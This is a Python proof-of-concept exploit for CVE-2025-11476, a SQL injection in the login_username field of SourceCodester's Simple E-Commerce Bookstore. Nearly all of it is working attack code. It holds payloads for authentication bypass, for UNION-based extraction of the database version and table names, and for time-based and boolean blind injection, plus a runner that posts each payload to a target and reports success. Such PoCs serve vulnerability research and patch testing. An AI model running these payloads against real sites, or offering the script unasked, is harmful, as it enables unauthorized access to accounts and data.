# CVE-2025-11476 - SourceCodester Simple E-Commerce Bookstore SQL Injection PoC
# Vulnerable parameter: login_username in /index.php
# Vulnerability type: SQL Injection (Unauthenticated)
import requests
import sys
TARGET_URL = "http://target.com/index.php"
# SQL Injection payload to bypass authentication
# The login_username parameter is directly concatenated into SQL query without sanitization
payloads = [
# Authentication bypass payload
{
"login_username": "' OR '1'='1' -- ",
"login_password": "anything"
},
# UNION-based injection to extract database version
{
"login_username": "' UNION SELECT 1,version(),3,4-- ",
"login_password": "anything"
},
# UNION-based injection to extract table names
{
"login_username": "' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- ",
"login_password": "anything"
},
# Time-based blind injection for data extraction
{
"login_username": "' OR IF(1=1, SLEEP(5), 0)-- ",
"login_password": "anything"
},
# Boolean-based blind injection
{
"login_username": "' OR SUBSTRING(version(),1,1)='5'-- ",
"login_password": "anything"
}
]
def exploit_sqli(target_url, payload):
"""Send SQL injection payload to vulnerable endpoint"""
try:
response = requests.post(target_url, data=payload, timeout=10, allow_redirects=False)
return response
except requests.exceptions.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
def main():
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
print(f"[*] Target: {target}")
print(f"[*] CVE-2025-11476 - SQL Injection in login_username parameter")
print("-" * 60)
# Test authentication bypass
print("\n[+] Testing authentication bypass...")
resp = exploit_sqli(target, payloads[0])
if resp and resp.status_code in [200, 302]:
print(f"[SUCCESS] Authentication bypass may be successful!")
print(f" Status Code: {resp.status_code}")
if resp.status_code == 302:
print(f" Redirect Location: {resp.headers.get('Location', 'N/A')}")
# Test UNION-based injection
print("\n[+] Testing UNION-based injection...")
resp = exploit_sqli(target, payloads[1])
if resp:
print(f" Status Code: {resp.status_code}")
# Check if version info is reflected in response
if "5." in resp.text or "MariaDB" in resp.text or "MySQL" in resp.text:
print(f"[SUCCESS] Database version likely leaked in response!")
# Test time-based blind injection
print("\n[+] Testing time-based blind injection...")
import time
start_time = time.time()
resp = exploit_sqli(target, payloads[3])
elapsed = time.time() - start_time
print(f" Elapsed time: {elapsed:.2f} seconds")
if elapsed >= 5:
print(f"[SUCCESS] Time-based blind injection confirmed!")
if __name__ == "__main__":
main()